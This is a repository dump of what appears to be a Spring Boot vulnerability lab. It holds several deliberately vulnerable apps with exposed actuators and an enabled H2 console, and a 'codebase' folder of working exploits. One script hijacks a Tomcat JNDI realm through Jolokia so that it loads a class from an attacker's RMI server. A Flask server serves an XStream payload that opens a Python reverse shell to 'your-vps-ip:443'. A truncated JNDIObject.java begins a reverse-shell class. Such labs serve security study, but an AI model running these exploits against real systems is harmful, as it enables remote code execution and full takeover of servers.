├── .gitignore
├── repository
├── springboot-spel-rce
│ ├── src
│ │ └── main
│ │ │ ├── resources
│ │ │ └── application.properties
│ │ │ └── java
│ │ │ └── code
│ │ │ └── landgrey
│ │ │ ├── Application.java
│ │ │ └── controller
│ │ │ └── Article.java
│ ├── springboot-spel-rce.iml
│ └── pom.xml
├── springboot-h2-database-rce
│ ├── springboot-h2-database-rce.iml
│ ├── src
│ │ └── main
│ │ │ ├── java
│ │ │ └── code
│ │ │ │ └── landgrey
│ │ │ │ ├── Application.java
│ │ │ │ └── controller
│ │ │ │ └── Article.java
│ │ │ └── resources
│ │ │ └── application.properties
│ └── pom.xml
├── springboot-mysql-jdbc-rce
│ ├── springboot-mysql-jdbc-rce.iml
│ ├── src
│ │ └── main
│ │ │ ├── java
│ │ │ └── code
│ │ │ │ └── landgrey
│ │ │ │ ├── repositories
│ │ │ │ └── ProductRepository.java
│ │ │ │ ├── Application.java
│ │ │ │ ├── services
│ │ │ │ ├── ProductService.java
│ │ │ │ └── ProductServiceImpl.java
│ │ │ │ ├── controllers
│ │ │ │ ├── HelloController.java
│ │ │ │ └── ProductController.java
│ │ │ │ ├── converters
│ │ │ │ ├── ProductToProductForm.java
│ │ │ │ └── ProductFormToProduct.java
│ │ │ │ ├── commands
│ │ │ │ └── ProductForm.java
│ │ │ │ └── domain
│ │ │ │ └── Product.java
│ │ │ └── resources
│ │ │ ├── application.properties
│ │ │ └── templates
│ │ │ └── product
│ │ │ ├── list.html
│ │ │ ├── show.html
│ │ │ └── productform.html
│ └── pom.xml
├── springcloud-snakeyaml-rce
│ ├── springcloud-snakeyaml-rce.iml
│ ├── src
│ │ └── main
│ │ │ ├── java
│ │ │ └── code
│ │ │ │ └── landgrey
│ │ │ │ ├── Application.java
│ │ │ │ └── controller
│ │ │ │ └── Article.java
│ │ │ └── resources
│ │ │ └── application.properties
│ └── pom.xml
├── springboot-eureka-xstream-rce
│ ├── springboot-eureka-xstream-rce.iml
│ ├── src
│ │ └── main
│ │ │ ├── java
│ │ │ └── code
│ │ │ │ └── landgrey
│ │ │ │ ├── Application.java
│ │ │ │ └── controller
│ │ │ │ └── Article.java
│ │ │ └── resources
│ │ │ └── application.properties
│ └── pom.xml
└── springboot-jolokia-logback-rce
│ ├── springboot-jolokia-logback-rce.iml
│ ├── src
│ └── main
│ │ ├── java
│ │ └── code
│ │ │ └── landgrey
│ │ │ ├── Application.java
│ │ │ └── controller
│ │ │ └── Article.java
│ │ └── resources
│ │ ├── logback.xml
│ │ └── application.properties
│ └── pom.xml
├── codebase
├── springboot-realm-jndi-rce.py
├── springboot-xstream-rce.py
├── JNDIObject.java
└── springboot-jdbc-deserialization-rce.py
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
3 |
4 | **/target/**
5 | **/.idea/**
6 |
--------------------------------------------------------------------------------
/repository/springboot-spel-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=9091
2 | server.address=127.0.0.1
3 |
--------------------------------------------------------------------------------
/repository/springboot-spel-rce/springboot-spel-rce.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/springboot-h2-database-rce.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/springboot-mysql-jdbc-rce.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/springcloud-snakeyaml-rce.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/springboot-eureka-xstream-rce.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/springboot-jolokia-logback-rce.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/repositories/ProductRepository.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.repositories;
2 |
3 | import code.landgrey.domain.Product;
4 | import org.springframework.data.repository.CrudRepository;
5 |
6 |
7 | public interface ProductRepository extends CrudRepository {
8 | }
9 |
--------------------------------------------------------------------------------
/repository/springboot-spel-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
1 | package code.landgrey;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class Application {
8 | public static void main(String[] args){
9 | SpringApplication.run(Application.class,args);
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
1 | package code.landgrey;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class Application {
8 | public static void main(String[] args){
9 | SpringApplication.run(Application.class,args);
10 | }
11 | }
--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
1 | package code.landgrey;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class Application {
8 | public static void main(String[] args){
9 | SpringApplication.run(Application.class,args);
10 | }
11 | }
--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
1 | package code.landgrey;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class Application {
8 | public static void main(String[] args){
9 | SpringApplication.run(Application.class,args);
10 | }
11 | }
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
1 | package code.landgrey;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 |
7 | @SpringBootApplication
8 | public class Application {
9 |
10 |
11 | public static void main(String[] args) {
12 | SpringApplication.run(Application.class, args);
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/src/main/resources/logback.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | true
4 |
5 | [%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
1 | package code.landgrey;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 | import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
6 |
7 | @SpringBootApplication
8 | @EnableEurekaClient
9 | public class Application {
10 | public static void main(String[] args){
11 | SpringApplication.run(Application.class,args);
12 | }
13 | }
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductService.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.services;
2 |
3 | import code.landgrey.commands.ProductForm;
4 | import code.landgrey.domain.Product;
5 |
6 | import java.util.List;
7 |
8 |
9 | public interface ProductService {
10 |
11 | List listAll();
12 |
13 | Product getById(Long id);
14 |
15 | Product saveOrUpdate(Product product);
16 |
17 | void delete(Long id);
18 |
19 | Product saveOrUpdateProductForm(ProductForm productForm);
20 | }
21 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/controllers/HelloController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controllers;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RequestMethod;
6 | import org.springframework.web.bind.annotation.ResponseBody;
7 |
8 | @Controller
9 | public class HelloController {
10 | @ResponseBody
11 | @RequestMapping(value = {"/"}, method = RequestMethod.GET)
12 | public String hello(){
13 | return "Hello";
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RestController;
6 |
7 | @RestController
8 | @EnableAutoConfiguration
9 | public class Article {
10 | @RequestMapping("/article")
11 | public String hello(String id){
12 | int total = 100;
13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 | return message;
15 | }
16 | }
--------------------------------------------------------------------------------
/repository/springboot-spel-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RestController;
6 |
7 | @RestController
8 | @EnableAutoConfiguration
9 | public class Article {
10 | @RequestMapping("/article")
11 | public String hello(String id){
12 | int total = 100;
13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 | return message;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RestController;
6 |
7 | @RestController
8 | @EnableAutoConfiguration
9 | public class Article {
10 | @RequestMapping("/article")
11 | public String hello(String id){
12 | int total = 100;
13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 | return message;
15 | }
16 | }
--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RestController;
6 |
7 | @RestController
8 | @EnableAutoConfiguration
9 | public class Article {
10 | @RequestMapping("/article")
11 | public String hello(String id){
12 | int total = 100;
13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 | return message;
15 | }
16 | }
--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controller;
2 |
3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RestController;
6 |
7 | @RestController
8 | @EnableAutoConfiguration
9 | public class Article {
10 | @RequestMapping("/article")
11 | public String hello(String id){
12 | int total = 100;
13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 | return message;
15 | }
16 | }
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/converters/ProductToProductForm.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.converters;
2 |
3 | import code.landgrey.commands.ProductForm;
4 | import code.landgrey.domain.Product;
5 | import org.springframework.core.convert.converter.Converter;
6 | import org.springframework.stereotype.Component;
7 |
8 |
9 | @Component
10 | public class ProductToProductForm implements Converter {
11 | @Override
12 | public ProductForm convert(Product product) {
13 | ProductForm productForm = new ProductForm();
14 | productForm.setId(product.getId());
15 | productForm.setDescription(product.getDescription());
16 | productForm.setPrice(product.getPrice());
17 | productForm.setImageUrl(product.getImageUrl());
18 | return productForm;
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=9093
2 | server.address=127.0.0.1
3 |
4 | # vulnerable configuration set 0: spring boot 1.0 - 1.4
5 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
6 | # no configuration required to expose them
7 |
8 | # safe configuration set 0: spring boot 1.0 - 1.4
9 | #management.security.enabled=true
10 |
11 | # vulnerable configuration set 1: spring boot 1.5+
12 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
13 | #management.security.enabled=false
14 |
15 | # safe configuration set 1: spring boot 1.5+
16 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
17 | #management.security.enabled=false
18 |
19 | # vulnerable configuration set 2: spring boot 2+
20 | #management.endpoints.web.exposure.include=*
21 | #management.endpoint.env.post.enabled=true
22 |
--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=9094
2 | server.address=127.0.0.1
3 |
4 | # vulnerable configuration set 0: spring boot 1.0 - 1.4
5 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
6 | # no configuration required to expose them
7 |
8 | # safe configuration set 0: spring boot 1.0 - 1.4
9 | #management.security.enabled=true
10 |
11 | # vulnerable configuration set 1: spring boot 1.5+
12 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
13 | #management.security.enabled=false
14 |
15 | # safe configuration set 1: spring boot 1.5+
16 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
17 | #management.security.enabled=false
18 |
19 | # vulnerable configuration set 2: spring boot 2+
20 | #management.endpoints.web.exposure.include=*
21 | #management.endpoint.env.post.enabled=true
22 |
--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=9092
2 | server.address=127.0.0.1
3 |
4 |
5 | # vulnerable configuration set 0: spring boot 1.0 - 1.4
6 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
7 | # no configuration required to expose them
8 |
9 | # safe configuration set 0: spring boot 1.0 - 1.4
10 | #management.security.enabled=true
11 |
12 | # vulnerable configuration set 1: spring boot 1.5+
13 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
14 | #management.security.enabled=false
15 |
16 | # safe configuration set 1: spring boot 1.5+
17 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
18 | #management.security.enabled=false
19 |
20 | # vulnerable configuration set 2: spring boot 2+
21 | #management.endpoints.web.exposure.include=*
22 | #management.endpoint.env.post.enabled=true
23 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/converters/ProductFormToProduct.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.converters;
2 |
3 | import code.landgrey.commands.ProductForm;
4 | import code.landgrey.domain.Product;
5 | import org.springframework.core.convert.converter.Converter;
6 | import org.springframework.stereotype.Component;
7 | import org.springframework.util.StringUtils;
8 |
9 |
10 | @Component
11 | public class ProductFormToProduct implements Converter {
12 |
13 | @Override
14 | public Product convert(ProductForm productForm) {
15 | Product product = new Product();
16 | if (productForm.getId() != null && !StringUtils.isEmpty(productForm.getId())) {
17 | product.setId(new Long(productForm.getId()));
18 | }
19 | product.setDescription(productForm.getDescription());
20 | product.setPrice(productForm.getPrice());
21 | product.setImageUrl(productForm.getImageUrl());
22 | return product;
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/commands/ProductForm.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.commands;
2 |
3 |
4 | import java.math.BigDecimal;
5 |
6 |
7 | public class ProductForm {
8 | private Long id;
9 | private String description;
10 | private BigDecimal price;
11 | private String imageUrl;
12 |
13 | public Long getId() {
14 | return id;
15 | }
16 |
17 | public void setId(Long id) {
18 | this.id = id;
19 | }
20 |
21 | public String getDescription() {
22 | return description;
23 | }
24 |
25 | public void setDescription(String description) {
26 | this.description = description;
27 | }
28 |
29 | public BigDecimal getPrice() {
30 | return price;
31 | }
32 |
33 | public void setPrice(BigDecimal price) {
34 | this.price = price;
35 | }
36 |
37 | public String getImageUrl() {
38 | return imageUrl;
39 | }
40 |
41 | public void setImageUrl(String imageUrl) {
42 | this.imageUrl = imageUrl;
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/domain/Product.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.domain;
2 |
3 |
4 | import javax.persistence.Entity;
5 | import javax.persistence.GeneratedValue;
6 | import javax.persistence.Id;
7 | import java.math.BigDecimal;
8 |
9 |
10 | @Entity
11 | public class Product {
12 |
13 | @Id
14 | @GeneratedValue
15 | private Long _id;
16 | private String description;
17 | private BigDecimal price;
18 | private String imageUrl;
19 |
20 | public Long getId() {
21 | return _id;
22 | }
23 |
24 | public void setId(Long id) {
25 | this._id = id;
26 | }
27 |
28 | public String getDescription() {
29 | return description;
30 | }
31 |
32 | public void setDescription(String description) {
33 | this.description = description;
34 | }
35 |
36 | public BigDecimal getPrice() {
37 | return price;
38 | }
39 |
40 | public void setPrice(BigDecimal price) {
41 | this.price = price;
42 | }
43 |
44 | public String getImageUrl() {
45 | return imageUrl;
46 | }
47 |
48 | public void setImageUrl(String imageUrl) {
49 | this.imageUrl = imageUrl;
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=9096
2 | server.address=127.0.0.1
3 |
4 | # ensure h2 database rce
5 | spring.jpa.database = MYSQL
6 | spring.jpa.database-platform=org.hibernate.dialect.MySQL5Dialect
7 |
8 | # enable h2 console jndi rce
9 | #spring.h2.console.path=/h2-console
10 | spring.h2.console.enabled=true
11 |
12 | # vulnerable configuration set 0: spring boot 1.0 - 1.4
13 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
14 | # no configuration required to expose them
15 |
16 | # safe configuration set 0: spring boot 1.0 - 1.4
17 | #management.security.enabled=true
18 |
19 | # vulnerable configuration set 1: spring boot 1.5+
20 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
21 | #management.security.enabled=false
22 |
23 | # safe configuration set 1: spring boot 1.5+
24 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
25 | #management.security.enabled=false
26 |
27 | ## vulnerable configuration set 2: spring boot 2+
28 | #management.security.enabled=false
29 | #management.endpoint.refresh.enabled=true
30 | #management.endpoints.web.exposure.include=env,restart,refresh
31 | management.endpoints.web.exposure.include=*
32 | management.endpoint.restart.enabled=true
33 |
--------------------------------------------------------------------------------
/codebase/springboot-realm-jndi-rce.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # coding: utf-8
3 | # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
4 |
5 |
6 | import requests
7 |
8 |
9 | url = 'http://127.0.0.1:8080/jolokia'
10 |
11 |
12 | create_realm = {
13 | "mbean": "Tomcat:type=MBeanFactory",
14 | "type": "EXEC",
15 | "operation": "createJNDIRealm",
16 | "arguments": ["Tomcat:type=Engine"]
17 | }
18 |
19 | wirte_factory = {
20 | "mbean": "Tomcat:realmPath=/realm0,type=Realm",
21 | "type": "WRITE",
22 | "attribute": "contextFactory",
23 | "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
24 | }
25 |
26 | write_url = {
27 | "mbean": "Tomcat:realmPath=/realm0,type=Realm",
28 | "type": "WRITE",
29 | "attribute": "connectionURL",
30 | "value": "rmi://your-vps-ip:1389/JNDIObject"
31 | }
32 |
33 | stop = {
34 | "mbean": "Tomcat:realmPath=/realm0,type=Realm",
35 | "type": "EXEC",
36 | "operation": "stop",
37 | "arguments": []
38 | }
39 |
40 | start = {
41 | "mbean": "Tomcat:realmPath=/realm0,type=Realm",
42 | "type": "EXEC",
43 | "operation": "start",
44 | "arguments": []
45 | }
46 |
47 | flow = [create_realm, wirte_factory, write_url, stop, start]
48 |
49 | for i in flow:
50 | print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
51 | r = requests.post(url, json=i)
52 | r.json()
53 | print(r.status_code)
54 |
--------------------------------------------------------------------------------
/repository/springboot-spel-rce/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | springboot-spel-rce
9 | 1.0-SNAPSHOT
10 |
11 |
12 | UTF-8
13 | UTF-8
14 | 1.7
15 |
16 | 1.3.0.RELEASE
17 |
18 |
19 |
20 |
21 | org.springframework.boot
22 | spring-boot-starter-web
23 | ${springboot.version}
24 |
25 |
26 |
27 |
28 |
29 |
30 | org.springframework.boot
31 | spring-boot-maven-plugin
32 | ${springboot.version}
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=9097
2 |
3 | #management.security.enabled=false
4 | management.endpoint.restart.enabled=true
5 | management.endpoint.refresh.enabled=true
6 | management.endpoints.web.exposure.include=env,restart,refresh
7 |
8 | # ===============================
9 | # = DATA SOURCE
10 | # ===============================
11 | # Set here configurations for the database connection
12 | spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test
13 | spring.datasource.username=root
14 | spring.datasource.password=root
15 | spring.datasource.driver-class-name=com.mysql.jdbc.Driver
16 |
17 | # Keep the connection alive if idle for a long time (needed in production)
18 | spring.datasource.testWhileIdle=true
19 | spring.datasource.validationQuery=SELECT 1
20 | # ===============================
21 | # = JPA / HIBERNATE
22 | # ===============================
23 | # Show or not log for each sql query
24 | spring.jpa.show-sql=true
25 | # Hibernate ddl auto (create, create-drop, update): with "create-drop" the database
26 | # schema will be automatically created afresh for every start of application
27 | spring.jpa.hibernate.ddl-auto=create-drop
28 | # Naming strategy
29 | spring.jpa.hibernate.naming.implicit-strategy=org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl
30 | spring.jpa.hibernate.naming.physical-strategy=org.springframework.boot.orm.jpa.hibernate.SpringPhysicalNamingStrategy
31 | # Allows Hibernate to generate SQL optimized for a particular DBMS
32 | spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5Dialect
33 |
--------------------------------------------------------------------------------
/repository/springboot-jolokia-logback-rce/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | springboot-jolokia-logback-rce
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 1.8
13 | 1.4.7.RELEASE
14 |
15 |
16 |
17 |
18 | org.springframework.boot
19 | spring-boot-starter-web
20 | ${springboot.version}
21 |
22 |
23 |
24 | org.springframework.boot
25 | spring-boot-starter-actuator
26 | ${springboot.version}
27 |
28 |
29 |
30 | org.jolokia
31 | jolokia-core
32 | 1.6.0
33 |
34 |
35 |
36 |
37 |
38 |
39 | org.springframework.boot
40 | spring-boot-maven-plugin
41 | ${springboot.version}
42 |
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductServiceImpl.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.services;
2 |
3 | import code.landgrey.commands.ProductForm;
4 | import code.landgrey.converters.ProductFormToProduct;
5 | import code.landgrey.domain.Product;
6 | import code.landgrey.repositories.ProductRepository;
7 | import org.springframework.beans.factory.annotation.Autowired;
8 | import org.springframework.stereotype.Service;
9 |
10 | import java.util.ArrayList;
11 | import java.util.List;
12 |
13 |
14 | @Service
15 | public class ProductServiceImpl implements ProductService {
16 |
17 | private ProductRepository productRepository;
18 | private ProductFormToProduct productFormToProduct;
19 |
20 | @Autowired
21 | public ProductServiceImpl(ProductRepository productRepository, ProductFormToProduct productFormToProduct) {
22 | this.productRepository = productRepository;
23 | this.productFormToProduct = productFormToProduct;
24 | }
25 |
26 |
27 | @Override
28 | public List listAll() {
29 | List products = new ArrayList<>();
30 | productRepository.findAll().forEach(products::add); //fun with Java 8
31 | return products;
32 | }
33 |
34 | @Override
35 | public Product getById(Long id) {
36 | return productRepository.findById(id).orElse(null);
37 | }
38 |
39 | @Override
40 | public Product saveOrUpdate(Product product) {
41 | productRepository.save(product);
42 | return product;
43 | }
44 |
45 | @Override
46 | public void delete(Long id) {
47 | productRepository.deleteById(id);
48 |
49 | }
50 |
51 | @Override
52 | public Product saveOrUpdateProductForm(ProductForm productForm) {
53 | Product savedProduct = saveOrUpdate(productFormToProduct.convert(productForm));
54 |
55 | System.out.println("Saved Product Id: " + savedProduct.getId());
56 | return savedProduct;
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/list.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Spring Core Online Tutorial - List Products
5 |
6 |
7 |
10 |
11 |
13 |
14 |
16 |
17 |
18 |
19 |
20 |
Product List
21 |
22 |
23 | | Id |
24 | Description |
25 | Price |
26 | Image URL |
27 | List |
28 | Edit |
29 | Delete |
30 |
31 |
32 | |
33 | |
34 | |
35 | |
36 | View |
37 | Edit |
38 | Delete |
39 |
40 |
41 |
42 |
47 |
48 |
49 |
50 |
--------------------------------------------------------------------------------
/repository/springboot-h2-database-rce/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | springboot-h2-database-rce
9 | 1.0-SNAPSHOT
10 |
11 | org.springframework.boot
12 | spring-boot-starter-parent
13 | 2.2.1.RELEASE
14 |
15 |
16 |
17 | 1.8
18 |
19 |
20 |
21 |
22 | org.springframework.boot
23 | spring-boot-starter-web
24 |
25 |
26 |
27 | org.springframework.boot
28 | spring-boot-starter-actuator
29 |
30 |
31 |
32 | org.springframework.cloud
33 | spring-cloud-starter-config
34 |
35 |
36 |
37 | org.springframework.boot
38 | spring-boot-starter-data-jpa
39 |
40 |
41 |
42 | com.h2database
43 | h2
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 | org.springframework.cloud
52 | spring-cloud-dependencies
53 | Hoxton.SR1
54 | pom
55 | import
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 | org.springframework.boot
64 | spring-boot-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | springcloud-snakeyaml-rce
9 | 1.0-SNAPSHOT
10 |
11 |
12 | UTF-8
13 | UTF-8
14 | 1.8
15 |
16 | 1.4.7.RELEASE
17 | 1.2.5.RELEASE
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 | org.springframework.boot
28 | spring-boot-starter-actuator
29 | ${springboot.version}
30 |
31 |
32 |
33 | org.springframework.boot
34 | spring-boot-starter-web
35 | ${springboot.version}
36 |
37 |
38 |
39 | org.springframework.cloud
40 | spring-cloud-starter
41 | ${springcloud.version}
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 | org.springframework.boot
58 | spring-boot-maven-plugin
59 | ${springboot.version}
60 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/codebase/springboot-xstream-rce.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding: utf-8
3 | # -**- Author: LandGrey -**-
4 |
5 | from flask import Flask, Response
6 |
7 | app = Flask(__name__)
8 |
9 |
10 | @app.route('/', defaults={'path': ''})
11 | @app.route('/', methods=['GET', 'POST'])
12 | def catch_all(path):
13 | xml = """
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 | /bin/bash
26 | -c
27 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
28 |
29 | false
30 |
31 |
32 |
33 |
34 | java.lang.ProcessBuilder
35 | start
36 |
37 |
38 | foo
39 |
40 | foo
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 | """
52 | return Response(xml, mimetype='application/xml')
53 |
54 |
55 | if __name__ == "__main__":
56 | app.run(host='0.0.0.0', port=80)
57 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/show.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Spring Core Online Tutorial - Show Product
5 |
6 |
7 |
10 |
11 |
13 |
14 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
Show Product
23 |
24 |
25 |
55 |
56 |
57 |
58 |
--------------------------------------------------------------------------------
/codebase/JNDIObject.java:
--------------------------------------------------------------------------------
1 | /**
2 | * javac -source 1.5 -target 1.5 JNDIObject.java
3 | *
4 | * Build By LandGrey
5 | * */
6 |
7 | import java.io.File;
8 | import java.io.InputStream;
9 | import java.io.OutputStream;
10 | import java.net.Socket;
11 |
12 | public class JNDIObject {
13 | static {
14 | try{
15 | String ip = "your-vps-ip";
16 | String port = "443";
17 | String py_path = null;
18 | String[] cmd;
19 | if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
20 | String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
21 | for(int i = 0; i < py_envs.length; ++i) {
22 | String py = py_envs[i];
23 | if ((new File(py)).exists()) {
24 | py_path = py;
25 | break;
